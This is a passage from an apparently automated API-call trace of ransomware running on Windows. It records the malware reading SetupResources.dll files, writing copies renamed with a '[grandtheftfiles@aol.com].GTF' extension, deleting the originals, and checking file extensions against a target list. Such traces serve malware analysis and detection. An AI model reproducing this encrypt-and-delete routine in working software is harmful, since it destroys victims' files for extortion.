	[0065.217] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.217] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1
	[0065.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.217] lstrlenW (lpString=".doc") returned 4
	[0065.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.217] lstrlenW (lpString=".docx") returned 5
	[0065.217] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.217] lstrlenW (lpString=".pdf") returned 4
	[0065.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.217] lstrlenW (lpString=".xls") returned 4
	[0065.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.218] lstrlenW (lpString=".xlsx") returned 5
	[0065.218] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.218] lstrlenW (lpString=".ppt") returned 4
	[0065.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.218] lstrlenW (lpString=".zip") returned 4
	[0065.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.218] lstrlenW (lpString=".rar") returned 4
	[0065.218] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.218] lstrlenW (lpString=".bz2") returned 4
	[0065.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.218] lstrlenW (lpString=".7z") returned 3
	[0065.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.218] lstrlenW (lpString=".dbf") returned 4
	[0065.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.218] lstrlenW (lpString=".1cd") returned 4
	[0065.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.218] lstrlenW (lpString=".jpg") returned 4
	[0065.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.219] lstrlenW (lpString=".doc") returned 4
	[0065.219] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString=".docx") returned 5
	[0065.219] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.219] lstrlenW (lpString=".pdf") returned 4
	[0065.219] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString=".xls") returned 4
	[0065.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString=".xlsx") returned 5
	[0065.219] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.219] lstrlenW (lpString=".ppt") returned 4
	[0065.219] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.219] lstrlenW (lpString=".zip") returned 4
	[0065.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString=".rar") returned 4
	[0065.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.219] lstrlenW (lpString=".bz2") returned 4
	[0065.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.219] lstrlenW (lpString=".7z") returned 3
	[0065.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.219] lstrlenW (lpString=".dbf") returned 4
	[0065.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.219] lstrlenW (lpString=".1cd") returned 4
	[0065.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45
	[0065.219] lstrlenW (lpString=".jpg") returned 4
	[0065.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.220] Sleep (dwMilliseconds=0x64) 
	[0066.409] Sleep (dwMilliseconds=0x64) 
	[0066.610] Sleep (dwMilliseconds=0x64) 
	[0067.687] Sleep (dwMilliseconds=0x64) 
	[0068.057] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.057] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.057] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.057] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18264) returned 1
	[0068.058] CloseHandle (hObject=0x368) returned 1
	[0068.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80
	[0068.058] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.058] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.058] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.058] GetLastError () returned 0x0
	[0068.058] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0068.260] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0068.262] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.262] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.262] SetEndOfFile (hFile=0x36c) returned 1
	[0068.262] CloseHandle (hObject=0x36c) returned 1
	[0068.263] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.263] SetEndOfFile (hFile=0x368) returned 1
	[0068.264] CloseHandle (hObject=0x368) returned 1
	[0068.264] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.265] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1
	[0068.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.265] lstrlenW (lpString=".doc") returned 4
	[0068.265] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.265] lstrlenW (lpString=".docx") returned 5
	[0068.265] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.265] lstrlenW (lpString=".pdf") returned 4
	[0068.265] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.265] lstrlenW (lpString=".xls") returned 4
	[0068.265] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.265] lstrlenW (lpString=".xlsx") returned 5
	[0068.265] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.265] lstrlenW (lpString=".ppt") returned 4
	[0068.265] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.265] lstrlenW (lpString=".zip") returned 4
	[0068.265] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.265] lstrlenW (lpString=".rar") returned 4
	[0068.265] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.265] lstrlenW (lpString=".bz2") returned 4
	[0068.265] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.265] lstrlenW (lpString=".7z") returned 3
	[0068.265] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.265] lstrlenW (lpString=".dbf") returned 4
	[0068.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString=".1cd") returned 4
	[0068.266] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString=".jpg") returned 4
	[0068.266] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString=".doc") returned 4
	[0068.266] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString=".docx") returned 5
	[0068.266] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.266] lstrlenW (lpString=".pdf") returned 4
	[0068.266] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString=".xls") returned 4
	[0068.266] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString=".xlsx") returned 5
	[0068.266] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.266] lstrlenW (lpString=".ppt") returned 4
	[0068.266] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString=".zip") returned 4
	[0068.266] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString=".rar") returned 4
	[0068.266] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.266] lstrlenW (lpString=".bz2") returned 4
	[0068.266] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.266] lstrlenW (lpString=".7z") returned 3
	[0068.266] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString=".dbf") returned 4
	[0068.266] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.266] lstrlenW (lpString=".1cd") returned 4
	[0068.267] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0068.267] lstrlenW (lpString=".jpg") returned 4
	[0068.267] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.267] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.267] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.267] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=17752) returned 1
	[0068.267] CloseHandle (hObject=0x368) returned 1
	[0068.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80
	[0068.267] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.267] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.267] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.267] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.268] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.268] GetLastError () returned 0x0
	[0068.268] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0068.352] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0068.353] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.353] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.354] SetEndOfFile (hFile=0x36c) returned 1
	[0068.354] CloseHandle (hObject=0x36c) returned 1
	[0068.355] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.355] SetEndOfFile (hFile=0x368) returned 1
	[0068.356] CloseHandle (hObject=0x368) returned 1
	[0068.356] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.356] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1
	[0068.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.356] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.356] lstrlenW (lpString=".doc") returned 4
	[0068.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.356] lstrlenW (lpString=".docx") returned 5
	[0068.356] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.357] lstrlenW (lpString=".pdf") returned 4
	[0068.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString=".xls") returned 4
	[0068.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString=".xlsx") returned 5
	[0068.357] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.357] lstrlenW (lpString=".ppt") returned 4
	[0068.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.357] lstrlenW (lpString=".zip") returned 4
	[0068.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString=".rar") returned 4
	[0068.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString=".bz2") returned 4
	[0068.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.357] lstrlenW (lpString=".7z") returned 3
	[0068.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.357] lstrlenW (lpString=".dbf") returned 4
	[0068.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.357] lstrlenW (lpString=".1cd") returned 4
	[0068.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.357] lstrlenW (lpString=".jpg") returned 4
	[0068.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.357] lstrlenW (lpString=".doc") returned 4
	[0068.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.357] lstrlenW (lpString=".docx") returned 5
	[0068.357] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.357] lstrlenW (lpString=".pdf") returned 4
	[0068.358] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.358] lstrlenW (lpString=".xls") returned 4
	[0068.358] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.358] lstrlenW (lpString=".xlsx") returned 5
	[0068.358] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.358] lstrlenW (lpString=".ppt") returned 4
	[0068.358] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.358] lstrlenW (lpString=".zip") returned 4
	[0068.358] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.358] lstrlenW (lpString=".rar") returned 4
	[0068.358] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.358] lstrlenW (lpString=".bz2") returned 4
	[0068.358] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.358] lstrlenW (lpString=".7z") returned 3
	[0068.358] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.358] lstrlenW (lpString=".dbf") returned 4
	[0068.358] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.358] lstrlenW (lpString=".1cd") returned 4
	[0068.358] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0068.358] lstrlenW (lpString=".jpg") returned 4
	[0068.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.358] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.358] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.358] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.359] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18264) returned 1
	[0068.359] CloseHandle (hObject=0x368) returned 1
	[0068.359] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80
	[0068.359] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.359] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.359] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.359] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.361] GetLastError () returned 0x0
	[0068.361] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4758, lpOverlapped=0x0) returned 1
	[0068.387] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4760, lpOverlapped=0x0) returned 1
	[0068.388] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.388] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.388] SetEndOfFile (hFile=0x36c) returned 1
	[0068.388] CloseHandle (hObject=0x36c) returned 1
	[0068.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.390] SetEndOfFile (hFile=0x368) returned 1
	[0068.391] CloseHandle (hObject=0x368) returned 1
	[0068.391] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.391] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1
	[0068.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.391] lstrlenW (lpString=".doc") returned 4
	[0068.391] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.391] lstrlenW (lpString=".docx") returned 5
	[0068.391] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.391] lstrlenW (lpString=".pdf") returned 4
	[0068.391] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.391] lstrlenW (lpString=".xls") returned 4
	[0068.391] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.391] lstrlenW (lpString=".xlsx") returned 5
	[0068.391] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.391] lstrlenW (lpString=".ppt") returned 4
	[0068.391] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.392] lstrlenW (lpString=".zip") returned 4
	[0068.392] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString=".rar") returned 4
	[0068.392] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString=".bz2") returned 4
	[0068.392] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.392] lstrlenW (lpString=".7z") returned 3
	[0068.392] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.392] lstrlenW (lpString=".dbf") returned 4
	[0068.392] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
